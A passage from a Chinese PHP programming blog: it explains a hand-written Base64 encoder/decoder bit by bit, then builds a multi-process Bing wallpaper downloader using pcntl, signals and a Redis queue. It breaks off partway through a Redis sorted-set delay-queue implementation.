通过上面我们可以知道 0 ~ 25 之间的 26 个数字分别对应 26 个 Base64 字符 A ~ Z,所以当 $num 大于 25 时,需要减去 26,得到的结果再加上 a 的 ASCII 值 97 就是对应的 Base64 字符的 ASCII 值。
// 当 $num >= 26 && $num <= 51
// 26 的 6 位二进制为 011010
echo chr(ord('a') + (0b011010 - 26)).PHP_EOL; // a
// 27 的 6 位二进制为 011011
echo chr(ord('a') + (0b011011 - 26)).PHP_EOL; // b
// 28 的 6 位二进制位 011100
echo chr(ord('a') + (0b011100 - 26)).PHP_EOL; // c
// 29 的 6 位二进制位 011101
echo chr(ord('a') + (0b011101 - 26)).PHP_EOL; // d
通过上面我们可以知道 26 ~ 51 之间的 26 个数字分别对应 26 个 Base64 字符 a ~ z, 所以在当 $num 大于 51 时,需要减去 52(26 个大写字母 + 26 个小写字母),得到的结果再加上 0 的 ASCII 值 48 就是对应的 Base64 字符的 ASCII 值。
// 当 $num >= 52 && $num <= 61
// 52 的 6 位二进制为 110100
echo chr(ord('0') + (0b110100 - 52)).PHP_EOL; // 0
// 53 的 6 位二进制为 110101
echo chr(ord('0') + (0b110101 - 52)).PHP_EOL; // 1
// 54 的 6 位二进制位 110110
echo chr(ord('0') + (0b110110 - 52)).PHP_EOL; // 2
// 55 的 6 位二进制位 110111
echo chr(ord('0') + (0b110111 - 52)).PHP_EOL; // 3
通过上面我们可以知道 52 ~ 61 之间的 10 个数字分别对应 10 个 Base64 字符 0 ~ 9。
当 $num 等于 62 时对应的 Base64 字符为 +,等于 63 时对应的 Base64 字符为 /。
到这里 normalToBase64Char() 方法就讲完了,将上面的 4 个 6 位二进制 001100、010011、001000、110011,传入方法中得到 M、T、I、z,所以 123 编码后就是 MTIz。
先看一下补齐处理的代码。
// 字符串长度
$len = strlen($content);
// 完整组合
$loop = intval($len / 3);
//剩余字符数,是否需要补齐
$rest = $len % 3;
if ($rest == 0) {
return $ret;
} else if ($rest == 1) {
// 如果多出1个字符,将其左移4位进行补齐
$int_12 = ord($content[$loop * 3]) << 4;
// 右移 6 位,剩余左侧 6 位
$ret .= normalToBase64Char($int_12 >> 6);
// 通过 0x3f (111111) 以掩码的方式取出右侧 6 位
$ret .= normalToBase64Char($int_12 & 0x3f);
$ret .= "==";
return $ret;
} else {
// 如果多出 2 个字符,需要补齐 2 位
// 先将多出来的第一个字符左移 8 位,为多出来的第二个字符腾出位置
// 然后再将整体向左移 2 位,使其可以拆分为 3 个 6 位的 base64 字符
$int_18 = ((ord($content[$loop * 3]) << 8) | ord($content[$loop * 3 + 1])) << 2;
// 右移 12 位,剩余左侧 6 位
$ret .= normalToBase64Char($int_18 >> 12);
// 右移 6 位,通过 0x3f (111111) 以掩码的方式取出剩余的右侧 6 位
$ret .= normalToBase64Char(($int_18 >> 6) & 0x3f);
// 通过 0x3f (111111) 以掩码的方式取出右侧 6 位
$ret .= normalToBase64Char($int_18 & 0x3f);
$ret .= "=";
return $ret;
}
如果 $rest 等于 0,说明字符串长度是 3 的倍数,不需要补齐。
如果 $rest 等于 1,说明多出一个字符,将其 ASCII 值左移 4 位,得到二进制位长度为 12 位,正好可以拆分为 2 个 6 位的二进制。
// 这里用 1234 进行举例,多出来的字符为 4
00110100 // 4 的 ASCII 值为 52,二进制为 00110100
001101000000 // 左移 4 位后
将 $int_12 右移 6 位,得到剩下的 6 位。
001101000000 // $int_12 的二进制
001101 // 右移 6 位后
$int_12 位与 0x3f 得到右侧的 6 位。
001101000000 // $int_12 的二进制
111111 // 0x3f 的十进制是63,二进制值是 111111
000000 // 位与运算后
最后在编码结果后面加上 ==,表示多出一个字符。
如果 $rest 等于 2,说明多出两个字符,先将第一个字符左移 8 位,为第二个字符腾出位置,再通过位或运算将第二个字符放在第一个字符后面,两个字符的 ASCII 值排列后将整体左移 2 位,得到二进制位长度为 18 位,可以拆分为 3 个 6 位的二进制。
// 这里用 12345 进行举例,多出来的字符为 45
00110100 // 4 的 ASCII 值为 52,二进制为 00110100
0011010000000000 // 将第一个字符左移 8 位后
00110101 // 5 的 ASCII 值位 53,二进制为 00110101
0011010000110101 // 位或运算后
001101000011010100 // 左移 2 位后
然后就是按 6 位一组二进制取出来,跟上面的操作差不多,就略过了,最后在编码结果后面加上 =,表示多出两个字符。
解码其实是编码的逆操作。
编码时:
解码时:
先根据末尾的 = 来判断补齐了几位,如果进行了补齐处理,将末尾的 4 个字符截取出来,在最后进行处理,使得前面剩余的字符可以 4 个字符一组。
比如 MTIzNA==,截取末尾的 4 个字符 NA==,剩余的 MTIz 可以组成一组。MTIzNDU= 截取末尾的 4 个字符 NDU=,剩余的 MTIz 组成一组。
假设现有 MTIzNA== 需要解码,截取末尾后剩余 MTIz。首先将每个字符的 ASCII 通过 base64CharToInt() 方法进行转换成对应的 Base64 数值(Index),再将转换后的 数值的二进制排列起来,排列时去除了每个素质的二进制的左侧两位,最终得到 00001100010011001000110011。
// M 的 ASCII 为 77,转换后的 ASCII 为 12,12 的二进制为 00001100
// T 的 ASCII 为 84,转换后的 ASCII 为 19,19 的二进制为 00010011
// I 的 ASCII 为 73,转换后的 ASCII 为 8,8 的二进制为 00001000
// z 的 ASCII 为 122,转换后的 ASCII 为 51,51 的二进制为 00110011
00001100000000000000000000 // 将 12 的二进制左移 18 位,
00010011000000000000 // 将 19 的二进制左移 12 位
00001100010011000000000000 // 位或后
00001000000000 // 将 8 的二进制左移 6 位
00001100010011001000000000 // 位或后
00110011 // 51 的二进制
00001100010011001000110011 // 位与后
这里的 00001100010011001000110011 共有 26 位,因为第一个字符的左侧两位并未被移除,将其与 16777215(二进制为 24 个 1)进行位与运算,使其变成 24 位的二进制 001100010011001000110011,但是操作前后的编码结果并未发生改变,所以这里猜测左侧的 00 可以忽略(或者说每个位的默认值就是 0)。
最终得到的 24 位二进制与编码时排列后的的二进制是一样的,所以接下来只需要按照 8 位一组进行分割就可以得到原文的 ASCII 值,再通过 chr() 函数获取 ASCII 值对应的字符。
// 排列后的二进制
001100010011001000110011
00110001 00110010 00110011
1 2 3
接下来处理补齐的部分 NA==,有两个 = 说明编码时补齐了 4 位,多出了一个字符。
将第一个字符左移 6 位,为第二个字符腾出位置,将第二个字符或放在第一个字符后面。
00001101 // N 对应的 Base64 数值为 13,13 的二进制为 00001101
00001101000000 // 左移 6 位后
00000000 // A 对应的 Base64 数值为 0,0 的二进制为 00000000
00001101000000 // 位或后
0000110100 // 右移 4 位后
同样得到的二进制 0000110100 左侧多了两个 0,原因与上面一样,这里最终得到的是 00110100,通过 chr() 函数获取对应的字符为 4。
所以 MTIzNA== 解码后的结果是 1234。
补齐 2 位的解码处理跟补齐4位差不多,这里就不重复了。
碍于篇幅长度这里就不讲解码的代码实现了,如果搞懂了上面的编码实现,那么阅读解码的代码也是没什么问题的,不懂的话可以配合文末的带注释的代码进行理解。
这里着重说一下 base64CharToInt() 方法。
在编码时,我们通过 normalToBase64Char() 方法将一个 6 位的二进制转成了 Base64 字符,这里的 6 位二进制所表示的值就是 Base64 数值,也就是映射表中的 Index。
所以 base64CharToInt() 方法就是将 Base64 字符转成 Base64 数值(Index)。
private static function base64CharToInt($num)
{
// 因为在转换为 base64 字符时加了相应的值
// 在解码时需要再减去
if ($num >= 65 && $num <= 90) {
// 65 == A
return ($num - 65);
} else if ($num >= 97 && $num <= 122) {
// 97 == a
return ($num - 97) + 26;
} else if ($num >= 48 && $num <= 57) {
// 48 == 0
return ($num - 48)+52;
} else if ($num == 43) {
// 43 == +
return 62;
} else {
return 63;
}
}
这里是根据 Base64 字符的 ASCII 值 ($num) 来判断加/减多少数值才能得到原来的值。
可以对照着 normalToBase64Char() 部分来理解。
注释中一些关于 字符 的描述需要联系代码来理解其本意。
比如在编码的注释中:
先将第一个字符左移16位,为剩下2个字符(每个字符8位)腾出16位的空间
实际上左移 16 位的值是第一个字符的 ASCII 值,并不是字符本身。
在解码的注释中:
将第一个字符左移 18 位,为后面的 3 个字符腾出位置
跟编码时一样,左移 18 位的并不是字符本身,而是第一个字符的 Base64 数值 的 ASCII 值。
class Base64
{
/**
* 将 6 位二进制表示的值转为 Base64 字符
* @param $num
* @return string
*/
private static function normalToBase64Char($num)
{
if ($num >= 0 && $num <= 25) {
return chr(ord('A') + $num);
} else if ($num >= 26 && $num <= 51) {
return chr(ord('a') + ($num - 26));
} else if ($num >= 52 && $num <= 61) {
return chr(ord('0') + ($num - 52));
} else if ($num == 62) {
return '+';
} else {
return '/';
}
}
/**
* 将 Base64 字符 的 ASCII 值转为对应的 Base64 数值(Index)
* @param $num
* @return int
*/
private static function base64CharToInt($num)
{
// 因为在转换为 base64字符时加了相应的值
// 在解码时需要再减去
if ($num >= 65 && $num <= 90) {
// 65 == A
return ($num - 65);
} else if ($num >= 97 && $num <= 122) {
// 97 == a
return ($num - 97) + 26;
} else if ($num >= 48 && $num <= 57) {
// 48 == 0
return ($num - 48)+52;
} else if ($num == 43) {
// 43 == +
return 62;
} else {
return 63;
}
}
public static function encode($content)
{
// 字符串长度
$len = strlen($content);
// 完整组合
$loop = intval($len / 3);
//剩余字符数,是否需要补齐
$rest = $len % 3;
//首先计算完整组合
for ($i = 0; $i < $loop; $i++) {
$base_offset = 3 * $i;
// 每次取3个字符,一个字符占8位,总共24位
// 先将第一个字符左移16位,为剩下2个字符(每个字符8位)腾出16位的空间
$int_24 = (ord($content[$base_offset]) << 16)
// 再将第二个字符左移8位,紧跟第一个字符后面
| (ord($content[$base_offset + 1]) << 8)
// 最后一个字符放在剩下的8位里面
| (ord($content[$base_offset + 2]) << 0);
// 0x3f 转为十进制是63,二进制值是 111111,这里的 0x3f 相当于是掩码
// 后面的每次位移运算都只取6位,就得到了4个数字
// 将 $int_24 向右移 18 位,得到 base64 第一个字符的二进制,也就是 $int_24 最左侧的 6 位
// 再通过 normalToBase64Char 方法将4个数字转成 base64 那张表对应的字符
// 通过 normalToBase64Char() 方法将6位的二进制转换为 base64 字符
$ret .= self::normalToBase64Char($int_24 >> 18);
$ret .= self::normalToBase64Char(($int_24 >> 12) & 0x3f);
$ret .= self::normalToBase64Char(($int_24 >> 6) & 0x3f);
$ret .= self::normalToBase64Char($int_24 & 0x3f);
}
// 如果字符串长度刚好是 3 的整数倍时,上面的 for 循环已经将字符串处理完了
// 不需要进行补齐处理
if ($rest == 0) {
return $ret;
} else if ($rest == 1) {
// 如果多出1个字符,此时需要补齐4位,使其可以拆分为两个6位的 base64 字符
$int_12 = ord($content[$loop * 3]) << 4;
// 向右移 6 位,剩余左侧 6 位
$ret .= self::normalToBase64Char($int_12 >> 6);
// 通过 0x3f (111111) 以掩码的方式取出右侧 6 位
$ret .= self::normalToBase64Char($int_12 & 0x3f);
$ret .= "==";
return $ret;
} else {
// 如果多出 2 个字符,需要补齐 2 位
// 先将多出来的第一个字符左移 8 位,为多出来的第二个字符腾出位置
// 然后再将整体向左移 2 位,使其可以拆分为 3 个 6 位的 base64 字符
$int_18 = ((ord($content[$loop * 3]) << 8) | ord($content[$loop * 3 + 1])) << 2;
// 右移 12 位,剩余左侧 6 位
$ret .= self::normalToBase64Char($int_18 >> 12);
// 右移 6 位,通过 0x3f (111111) 以掩码的方式取出剩余的右侧 6 位
$ret .= self::normalToBase64Char(($int_18 >> 6) & 0x3f);
// 通过 0x3f (111111) 以掩码的方式取出右侧 6 位
$ret .= self::normalToBase64Char($int_18 & 0x3f);
$ret .= "=";
return $ret;
}
}
public static function decode($content)
{
$len = strlen($content);
if ($content[$len - 1] == '=' && $content[$len - 2] == '=') {
//说明加密的时候,剩余1个字节,补齐了4位,也就是左移了4位,所以除了最后包含的2个字符,前面的所有字符可以4个字符一组
$last_chars = substr($content, -4);
$full_chars = substr($content, 0, $len - 4);
$type = 1;
} else if ($content[$len - 1] == '=') {
//说明加密的时候,剩余2个字节,补齐了2位,也就是左移了2位,所以除了最后包含的3个字符,前面的所有字符可以4个字符一组
$last_chars = substr($content, -4);
$full_chars = substr($content, 0, $len - 4);
$type = 2;
} else {
$type = 3;
$full_chars = $content;
}
//首先处理完整的部分
$loop = strlen($full_chars) / 4;
$ret = "";
for ($i = 0; $i < $loop; $i++) {
$base_offset = 4 * $i;
// 每次取 4 个 base64 字符,一个字符占 6 位,总共 24 位
// 将第一个字符左移 18 位,为后面的 3 个字符腾出位置
$int_24 = (self::base64CharToInt(ord($full_chars[$base_offset])) << 18)
// 将第二个字符左移 12 位,紧跟在第一个字符后面
| (self::base64CharToInt(ord($full_chars[$base_offset + 1])) << 12)
// 将第三个字符左移 8 位,紧跟在第二个字符后面
| (self::base64CharToInt(ord($full_chars[$base_offset + 2])) << 6)
// 将第四个字符放在第三个字符后面
| (self::base64CharToInt(ord($full_chars[$base_offset + 3])) << 0);
// 右移 16 位,得到解码后第一个字符(24 - 16 = 8)
$ret .= chr($int_24 >> 16);
// 右移 8 位,再通过掩码 0xff(11111111) 得到解码后的第二个字符
$ret .= chr(($int_24 >> 8) & 0xff);
// 通过掩码 0xff(11111111) 得到最后一个字符
$ret .= chr($int_24 & 0xff);
}
//紧接着处理补齐的部分
if ($type == 1) {
// 多出一个字符
// 先将补齐的第一个字符左移 6 位,给第二个字符腾出位置
$int_12 = self::base64CharToInt(ord($last_chars[0])) << 6;
// 将第二个字符放入刚腾出来位置中,再将整体右移 4 位,保留 8 位,正好一个十进制数
$int_8 = ($int_12 | self::base64CharToInt(ord($last_chars[1]))) >> 4;
// 再根据 ASCII 值获取字符
$ret .= chr($int_8);
} else if ($type == 2) {
// 多处两个字符
// 首先将补齐的第一个字符左移 12 位,为剩余的两个字符腾出位置
$l_two_chars = ((self::base64CharToInt(ord($last_chars[0])) << 12)
// 将第二个字符左移 6 位,放在第一个字符的后面
| (self::base64CharToInt(ord($last_chars[1])) << 6)
// 将第三个字符放在剩余的 6 位中
// 将整体右移 2 位,此时正好 16 位,两个字符的长度
| (self::base64CharToInt(ord($last_chars[2])) << 0)) >> 2;
// 左移 8 位得到解码的第一个字符
$ret .= chr($l_two_chars >> 8);
// 通过 0xff(11111111) 作为掩码,得到右侧剩余的 8 位
$ret .= chr($l_two_chars & 0xff);
}
return $ret;
}
}
原本在写完注释后,觉得对于 Base64 的实现已经理解的差不多了,但是在写这篇文章的时候,发现之前一些自认为理解的逻辑没办法写出来,主要原因还是没有理解透彻,所以在写的时候不能行云流水。
因为疫情的原因延期上班,公司是内网开发,没办法远程办公,所以就变成了延长放假时间。
每天日夜颠倒,看电影打游戏,三四个小时放不下手机。整个人变成了废柴状态,食不知味,玩不尽兴,内心极度焦虑。
直到我拿出笔记本,绞尽脑汁的写着这篇文章,我的焦虑、迷茫、空虚才找到了出口。
在放假的这几天,断断续续的看了老李关于 PHP 多进程的文章。
在此基础上又看了下 owner888/phpspider 的多进程实现代码,这个是《我用爬虫一天时间“偷了”知乎一百万用户,只为证明PHP是世界上最好的语言 》一文所使用的程序。
等到自我感觉差不多已经掌握多进程时候,它就变成了我手中的锤子:
手里拿着锤子,看什么都像是钉子。
在《QueryList + Redis 下载壁纸》这篇文章中有提到,可以手动多开几个黑窗口提高壁纸下载速度。
正如文章中所说,在此之前,需要用到多进程来处理任务的时候都是用的这种“笨方法”。虽然在启动任务的时候比较麻烦,需要手动打开 n 个黑窗口,然后到指定目录下运行对应的脚本,但是在写代码的时候比较轻松,不用考虑多进程的可能导致的一些问题。
由于文中的壁纸站点倒闭了(与我无瓜),所以后面的代码换了一个站点来进行演示。
关于 PHP 多进程,上面列出来的文章其实已经讲的差不多了,这里其实就是个观后总结,已经看完文章的可以跳过。
父进程在创建子进程后,需要负责子进程的回收,否则就会出现 孤儿进程 或 僵尸进程。
孤儿进程:父进程在创建子进程后,子进程还在运行的时候自己先退出了,导致子进程没了爹,就变成了孤儿进程,然后被 Linux 的 “孤儿进程福利院” init 进程(进程 id 为 1)所收养。
僵尸进程:父进程在创建子进程后,子进程退出了,但是父进程没有对其进行回收,导致子进程变成了僵尸进程,子进程的进程 ID、文件描述符等依然保存在系统中,极大的浪费了系统资源,相比孤儿进程危害更大。
在父进程中通过 pcntl_wait() 或 pcntl_waitpid() 函数对子进程进行回收,上面提到的回收其实就是对子进程的状态收集。
pcntl_wait():等待或返回创建的子进程状态。该函数是阻塞的,所以当执行到该函数时会阻塞在这里,直到有子进程退出或终止。
pcntl_waitpid():等待或返回创建的子进程状态。该函数是非阻塞的,也就是说当没有子进程需要处理时,它会返回 0 并继续执行后面的代码。
信号是异步传送给进程的一种事件通知,进程无法预测何时会出现信号。
信号的产生有多种方式,比如在键盘上按下组合键 ctrl+c 或 ctrl+d 就会产生 SIGINT 信号并终止当前运行的程序;使用 posix_kill() 函数可以向指定的进程发送某种信号。
进程在收到信号后有以下三种处理方式。
直接忽略:对信号不做任何处理,SIGSTOP 和 SIGKILL 两种信号无法忽略,因为这两个信号是提供给用户停止或杀死进程最可靠的手段。
捕获信号:程序自定义信号处理逻辑。
系统默认动作:Linux 内核为每种信号都提供了默认动作,当程序没有主动捕获某种信号时,就会交由系统执行默认动作。大多数默认动作都是终止进程。
捕获信号的处理方式:先通过 pcntl_signal() 函数安装某个信号的回调函数,然后使用 pcntl_signal_dispatch() 调用每个等待信号通过 pcntl_signal() 安装的信号回调函数。
非守护进程在启动后,在终端按下组合键 ctrl+c 或 ctrl+d 就会终止当前运行的程序。想要成为守护进程,首先要在父进程中创建一个子进程,然后通过 posix_setsid() 函数将该子进程作为会话的主进程,并退出父进程,断开与终端的连接。
进程模型用的是单 Master 多 Worker 进程模型,Master 进程用于收集子进程的状态,一个 Worker 进程用于提取所有的壁纸下载地址,剩下 Worker 进程用于下载壁纸,因为下载比较耗时,所以需要多个 Worker 进程同时处理,下载壁纸的 Worker 进程数量可以自定义。
首先看一下入口函数 run():
public function run()
{
// 检查运行环境
$this->checkEnv();
// 守护进程
$this->daemonize();
// 安装信号处理器
$this->installSignalHandler();
// 初始化 Redis
$this->initRedis();
// 初始化进程
$this->initWorkers();
// 监听子进程状态
$this->monitor();
}
run() 函数已经概括了程序的运行流程。
首先检查一下当前运行环境,是否在 linux 系统中、是否安装相关扩展,最后是关于信号派遣的,PHP 7.1 新增了 pcntl_async_signals() 函数,在此之前需要 declare() 配合 pcntl_signal_dispatch() 函数进行信号派遣。
protected function checkEnv()
{
if ('//' == \DIRECTORY_SEPARATOR) {
exit('目前只支持 linux 系统'.PHP_EOL);
}
if (!\extension_loaded( 'pcntl') ) {
exit('缺少 pcntl 扩展'.PHP_EOL);
}
if (!\extension_loaded( 'posix') ) {
exit('缺少 posix 扩展'.PHP_EOL);
}
if (version_compare(PHP_VERSION, 7.1, '<')) {
declare(ticks = 1);
} else {
// 启用异步信号处理
\pcntl_async_signals(true);
}
}
守护进程上面已经介绍过,可以再配合代码注释理解。
protected function daemonize()
{
if (self::$options['daemonize'] !== true) {
return;
}
// 设置当前进程创建的文件权限为 777
umask(0);
$pid = \pcntl_fork();
if ($pid < 0) {
$this->log('创建守护进程失败');
exit;
} else if ($pid > 0) {
// 主进程退出
exit(0);
}
// 将当前进程作为会话首进程
if (\posix_setsid() < 0) {
$this->log('设置会话首进程失败');
exit;
}
// 两次 fork 保证形成的 daemon 进程绝对不会成为会话首进程
$pid = \pcntl_fork();
if ($pid < 0) {
$this->log('创建守护进程失败');
exit;
} else if ($pid > 0) {
// 主进程退出
exit(0);
}
}
初始化 Redis 就是从配置中获取 Redis 参数,然后实例化 Predis/Client。
protected function initRedis()
{
$this->redisClient = new Client(self::$options['redis']);
}
这里只安装了 SIGINT 和 SIGPIP 信号的处理器,收到 SIGINT 信号后,调用 stopAllWorkers() 方法给所有的 Worker 发送 SIGINT 信号,停止所有的 Worker。而收到 SIGPIPE 信号则忽略不做任何处理。
protected function installSignalHandler()
{
// 捕获 SIGINT 信号,终端中断
\pcntl_signal(SIGINT, [$this, 'stopAllWorkers'], false);
// 捕获 SIGPIPE 信号,忽略掉所有管道事件
\pcntl_signal(\SIGPIPE, \SIG_IGN, false);
}
protected function stopAllWorkers()
{
if (self::$maserPid !== \posix_getpid()) {
// 子进程
unset(self::$workers[$this->workerId]);
exit(0);
}
// 父进程
foreach (self::$workers as $pid) {
// 给 worker 进程发送关闭信号
\posix_kill($pid, SIGINT);
}
}
接下来就是初始化进程,先通过 posix_getpid() 函数获取当前进程的进程 ID 作为 Master 进程 ID。
再通过 forkWorker() 方法创建提取壁纸地址进程,该进程的处理方法是 extractWallpaperUrl()。因为 work id 为 0 的留给了 Master 进程,所以这里的 work id 从 1 开始。
然后根据配置项 worker_num 创建指定数量的下载壁纸的进程,该进程的处理方法是 downloadWallpaper() 方法。
protected function initWorkers()
{
self::$maserPid = \posix_getpid();
$this->forkWorker(1, [$this, 'extractWallpaperUrl']);
$workerNum = (int) self::$options['worker_num'];
for ($i = 0; $i < $workerNum; $i++) {
$this->forkWorker($i + 2, [$this, 'downloadWallpaper']);
}
}
上面提到了 forkWorker 方法,这个方法其实跟老李文章中写的创建子进程代码差不多,在父进程中记录子进程的进程 ID,在进程中调用匿名函数处理业务逻辑。
protected function forkWorker($workerId, $callback)
{
$pid = \pcntl_fork();
if ($pid > 0) {
// 父进程记录子进程 PID
self::$workers[$workerId] = $pid;
} elseif ($pid === 0) {
// 子进程处理业务逻辑
$this->workerId = $workerId;
if ($callback instanceof \Closure) {
$callback();
} else if (isset($callback[1]) && is_object($callback[0])) {
\call_user_func($callback);
}
exit(0);
} else {
$this->log('进程创建失败');
exit;
}
}
提取壁纸地址和下载壁纸的逻辑跟之前写的那篇文章差不多。
protected function extractWallpaperUrl()
{
$this->log('提取壁纸地址进程启动...');
$page = 1;
do {
$html = \file_get_contents("https://bing.ioliu.cn/?p={$page}");
\preg_match_all('/<img([^>]*)\ssrc="([^\s>]+)"/', $html,$matches);
if (empty($matches[2]) || \count($matches[2]) === 3) {
$this->log('壁纸地址提取完毕, 当前页码: %s', $page);
break;
}
$urls = \array_unique(\array_filter($matches[2]));
if (!empty($urls)) {
// 将壁纸 url 放入队列中
$this->redisClient->sadd(self::$options['queue_key'], $urls);
}
$this->log('提取壁纸数量: %s, 当前页面: %s', count($urls), $page++);
} while (true);
}
protected function downloadWallpaper()
{
$this->log('下载壁纸进程启动...');
while (self::$freeTime < self::$options['max_free_time']) {
$url = $this->redisClient->spop(self::$options['queue_key']);
if (empty($url)) {
$this->log('空闲时间: %s/%ss', self::$freeTime++, self::$options['max_free_time']);
\sleep(1);
continue;
}
try {
$result = $this->saveWallpaper($url);
if (!$result) {
$this->redisClient->sadd(self::$options['queue_key'], [$url]);
}
} catch (\Exception $e) {
$result = false;
$this->log('保存壁纸异常: %s', $e->getMessage());
}
$this->log('壁纸下载%s, %s', $result ? '成功' : '失败', $url);
}
}
进程到目前已经创建完了,接下来就是父进程对子进程状态进行监听,如果该已经已退出就将它从 self::workers 数组中删除,如果没有在运行中的子进程则退出父进程。
在 acceptSignal() 方法中通过 pcntl_wait() 函数阻塞获取退出的进程 ID。
protected function monitor()
{
while (true) {
$pid = $this->acceptSignal();
if ($pid > 0) {
$this->log('子进程退出信号, PID: %s', $pid);
// 翻转 workers 的键值
$workers = \array_flip(self::$workers);
$workerId = $workers[$pid];
// 删除子进程
unset(self::$workers[$workerId]);
// 如果没有在运行的子进程则退出主进程
count(self::$workers) === 0 && exit(0);
} else {
$this->log('其它信号, PID: %s', $pid);
exit(0);
}
}
}
protected function acceptSignal()
{
if (\version_compare(PHP_VERSION, 7.1, '>=')) {
return \pcntl_wait($status, WUNTRACED);
}
// 调用等待信号的处理器
\pcntl_signal_dispatch();
$pid = \pcntl_wait($status, WUNTRACED);
\pcntl_signal_dispatch();
return $pid;
}
$options 为构造函数的可选参数,以下为配置项的默认参数。
$options = [
'daemonize' => false, // 是否 daemon 化
'worker_num' => 3, // 下载壁纸进程数量
'max_free_time' => 60, // 最大空闲时间(秒)
'save_dir' => __DIR__.'/wallpaper', // 壁纸保存位置
'queue_key' => 'wallpaper_url_queue', // 壁纸下载地址的 redis key
'redis' => [ // redis 配置
'scheme' => 'tcp',
'host' => '127.0.0.1',
'port' => 6379,
],
];
$wallpaper = new BingWallpaperDownloader($options);
$wallpaper->run();
vagrant@homestead:~/code/her-cat/download_bing_wallpaper$ php index.php
[2020-02-02 10:41:34] [worker-1] 提取壁纸地址进程启动...
[2020-02-02 10:41:34] [worker-3] 下载壁纸进程启动...
[2020-02-02 10:41:34] [worker-2] 下载壁纸进程启动...
[2020-02-02 10:41:34] [worker-4] 下载壁纸进程启动...
[2020-02-02 10:41:35] [worker-1] 提取壁纸数量: 12, 当前页面: 1
[2020-02-02 10:41:35] [worker-2] 壁纸下载成功, http://h1.ioliu.cn/bing/NutcrackerSeason_EN-AU8373379424_1920x1080.jpg
[2020-02-02 10:41:35] [worker-3] 壁纸下载成功, http://h1.ioliu.cn/bing/zhenghe_ZH-CN9628081460_1920x1080.jpg
[2020-02-02 10:41:36] [worker-4] 壁纸下载成功, http://h1.ioliu.cn/bing/MonumentFountain_EN-AU10536043652_1920x1080.jpg
[2020-02-02 10:41:37] [worker-2] 壁纸下载成功, http://h1.ioliu.cn/bing/JeanLafitte_EN-AU11428973003_1920x1080.jpg
[2020-02-02 10:41:37] [worker-1] 提取壁纸数量: 12, 当前页面: 2
[2020-02-02 10:41:37] [worker-3] 壁纸下载成功, http://h1.ioliu.cn/bing/MorondavaBaobab_EN-AU11363642614_1920x1080.jpg
[2020-02-02 10:41:37] [worker-3] 壁纸下载成功, http://h1.ioliu.cn/bing/SnowHare_ZH-CN9767012872_1920x1080.jpg
[2020-02-02 10:41:38] [worker-4] 壁纸下载成功, http://h1.ioliu.cn/bing/ShenandoahAutumn_EN-AU11784755049_1920x1080.jpg
^C[2020-02-02 10:41:38] [worker-0] 其它信号, PID: -1
保存的壁纸
vagrant@homestead:~/code/her-cat/download_bing_wallpaper/wallpaper$ ls
AbstractSaltBeds_ZH-CN8351691359_1920x1080.jpg MauiEucalyptus_ZH-CN5616197787_1920x1080.jpg
AcadiaBlueberries_ZH-CN6014510748_1920x1080.jpg may1_ZH-CN8582006115_1920x1080.jpg
AdelieBreeding_ZH-CN1750945258_1920x1080.jpg MeerkatHuddle_ZH-CN1358126294_1920x1080.jpg
AdobeSantaFe_EN-AU3063917358_1920x1080.jpg MeerkatMob_ZH-CN3788674757_1920x1080.jpg
AerialKluaneNP_ZH-CN4080112842_1920x1080.jpg MeteorCrater_EN-AU9993563603_1920x1080.jpg
完整代码:https://github.com/her-cat/wallpaper_crawler/blob/master/BingWallpaperDownloader.php
关于 PHP 多进程的实践到这里就结束了,目前来看代码好像没啥太问题,后面有问题再来改吧。
溜了…
]]>之前在一些博客上看到过讲如何实现延迟队列,但是平时没用上也没有动手实现过。
在上次面试的时候,面试官也问过我有没有用过延迟队列,最后凭借着记忆讲了下如何用 Redis 的有序集合实现延迟队列,以及有什么缺点。
纸上得来终觉浅,绝知此事要躬行。
这句诗就是本文的主要目的。
主要用到了 Redis 的三个命令,ZADD、ZREM 和 ZRANGEBYSCORE。
ZADD key_name score value
ZRANGEBYSCORE key min max [WITHSCORES] [LIMIT offset count]
ZREM key value [value ...]
ZADD 用于向有序集合中添加一条或多条数据,score 作为数据处理时间,value 存放数据。
ZRANGEBYSCORE 用于获取有序集合中指定时间范围内的数据,按照时间戳升序排列。
ZREM 用于将一条或多条数据从有序集合中移除。
举个例子:
# 添加测试数据
127.0.0.1:6379> ZADD test 1 a 2 b 3 c 4 d 5 e
(integer) 5
# 获取 2 到 4 之间的数据
127.0.0.1:6379> ZRANGEBYSCORE test 2 4
1) "b"
2) "c"
3) "d"
# 获取一条 2 到 4 之间的数据
127.0.0.1:6379> ZRANGEBYSCORE test 2 4 LIMIT 0 1
1) "b"
# 移除数据 b
127.0.0.1:6379> ZREM test b
(integer) 1
127.0.0.1:6379> ZRANGEBYSCORE test 2 4 LIMIT 0 1
1) "c"
在 Redis 2.4 版本前,ZADD、ZREM 每次只能添加/删除一条数据。
用的是 predis/predis 扩展包操作 Redis。
use Predis\Client;
class RedisDelayQueue
{
/**
* @var Client
*/
private $client = null;
/**
* RedisDelayQueue constructor.
* @param Client $client
*/
public function __construct(Client $client = null)
{
$this->client = $client ?: $this->createClient();
}
private function createClient()
{
$params = [
'scheme' => 'tcp',
'host' => '127.0.0.1',
'port' => 6379,
];
return new Client($params);
}
/**
* 添加数据
*
* @param $queueName
* @param $data
* @return int
*/
public function push($queueName, $data)
{
$members = [];
$data = isset($data['content']) ? [$data] : $data;
foreach($data as $datum) {
$members[$datum['content']] = $datum['time'];
}
return $this->client->zadd($queueName, $members);
}
/**
* 消费数据
* @param $queueName
* @param \Closure $callback
* @param \Closure $catch
*/
public function consume($queueName, \Closure $callback, \Closure $catch = null)
{
$options = [
'limit' => [
'offset' => 0,
'count' => 1, // 只取一条数据
]
];
while (true) {
// 从集合中获取一条小于当前时间的数据
$result = $this->client->zrangebyscore($queueName, 0, time(), $options);
// 没获取到数据就休息一秒
if (empty($result)) {
sleep(1);
continue;
}
// 将数据从集合中移除
if (!$this->client->zrem($queueName, $result[0])) {
continue;
}
try {
$callback($result[0]);
} catch(\Exception $e) {
if (!$catch instanceof \Closure) {
echo 'ERROR:' . $e->getMessage().PHP_EOL;
continue;
}
$catch($e, $result);
}
}
}
}
因为存在多个进程处理同一个队列的情况,就会出现一条数据被多个进程获取到,所以只有当 ZREM 命令移除数据成功时,才算是真正的获取到了数据。
require_once './vendor/autoload.php';
require_once './RedisDelayQueue.php';
$queue = new RedisDelayQueue();
// 添加一条数据
$data = [
'content' => '投递数据的时间是:'.date('Y-m-d H:i:s'),
'time' => time() + 10, // 十秒后处理
];
// 添加多条数据
// $data = [
// [
// 'content' => '投递数据的时间是:'.date('Y-m-d H:i:s'),
// 'time' => time() + 10, // 十秒后处理
// ],
// ];
